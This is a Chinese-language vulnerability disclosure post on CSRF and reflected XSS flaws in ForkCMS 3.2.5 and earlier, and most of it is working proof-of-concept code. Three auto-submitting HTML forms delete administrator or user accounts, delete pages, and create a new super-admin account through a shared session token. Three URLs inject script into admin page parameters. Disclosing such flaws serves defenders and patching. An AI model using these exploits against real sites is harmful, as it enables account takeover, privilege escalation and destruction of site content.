ForkCMS 3.2.5以及更低版本存在CSRF和XSS(反射型)漏洞。IMB X-Force确认3.2.6版本也存在CSRF漏洞。
1.CSRF
ForkCMS 3.2.5存在CSRF漏洞,攻击者可删除admins/users用户,删除网页,并且当授权的admin用户访问包含以下html/javascript代码的网页时可提权:
1.1删除Admins或Users用户
```
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to delete ADMIN/USER account</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80/private/en/users/delete?token=true&id=2">
</form>
</body>
</html>
```
注意第一个能删除的ID是2而不是1。因为1是安装阶段创建的超级管理员,称为"Fork CMS"(ForkCMS 定义了 "GOD-user"用户)。ID的编号依次递增。
1.2 删除网页
```
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to delete Web Pages</H2>
<form method="POST" name="form0" action="http://<fork_cms_ip>/private/en/pages/delete?token=true&id=405">
</form>
</body>
</html>
```
注意第一个ID是405,ID编号依次递增。
1.3 提权
ForkCMS管理session会话的机制不严谨。它使用了一个参数(称为"form_token" ,由32种字母或数字的字符构成)来管理session会话。假设你是一个普通用户(非admin)从同一台机器(台式电脑/笔记本/服务器),从管理员的浏览器登录了网页管理界面,ForkCMS会给双方指定相同的"form_token",这样的逻辑让你可以使用以下代码用你的"form_token" id来创建新的admin:
```
<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to add ADMIN account</H2>
<form method="POST" name="form0" action="http://127.0.0.1:80/private/en/users/add?token=true">
<input type="hidden" name="form" value="add"/>
<input type="hidden" name="form_token" value="token_number"/>
<input type="hidden" name="email" value="root@root.com"/>
<input type="hidden" name="password" value="password"/>
<input type="hidden" name="confirm_password" value="password"/>
<input type="hidden" name="name" value="root"/>
<input type="hidden" name="surname" value="root"/>
<input type="hidden" name="nickname" value="root"/>
<input type="hidden" name="avatar" value=""/>
<input type="hidden" name="interface_language" value="en"/>
<input type="hidden" name="date_format" value="j F Y"/>
<input type="hidden" name="time_format" value="H:i"/>
<input type="hidden" name="number_format" value="dot_nothing"/>
<input type="hidden" name="csv_split_character" value=";"/>
<input type="hidden" name="csv_line_ending" value="\n"/>
<input type="hidden" name="active" value="Y"/>
<input type="hidden" name="groups[]" value="1"/>
</form>
</body>
</html>
```
注意该逻辑同样适用于你是两个超级管理员或两个普通用户的情况。通过做一些小的修改,你还可以修改其他任意的ForkCMS参数
2.XSS (反射型)
```
http://<fork_cms_ip>/private/en/blog/settings?token=true&report=<script>alert("test")</script>
http://<fork_cms_ip>/private/en/users/index?token=true&error=<script>alert("test")</script>
http://<fork_cms_ip>/private/en/pages/settings?token=true&report=<script>alert("test")</script>
```
暂无评论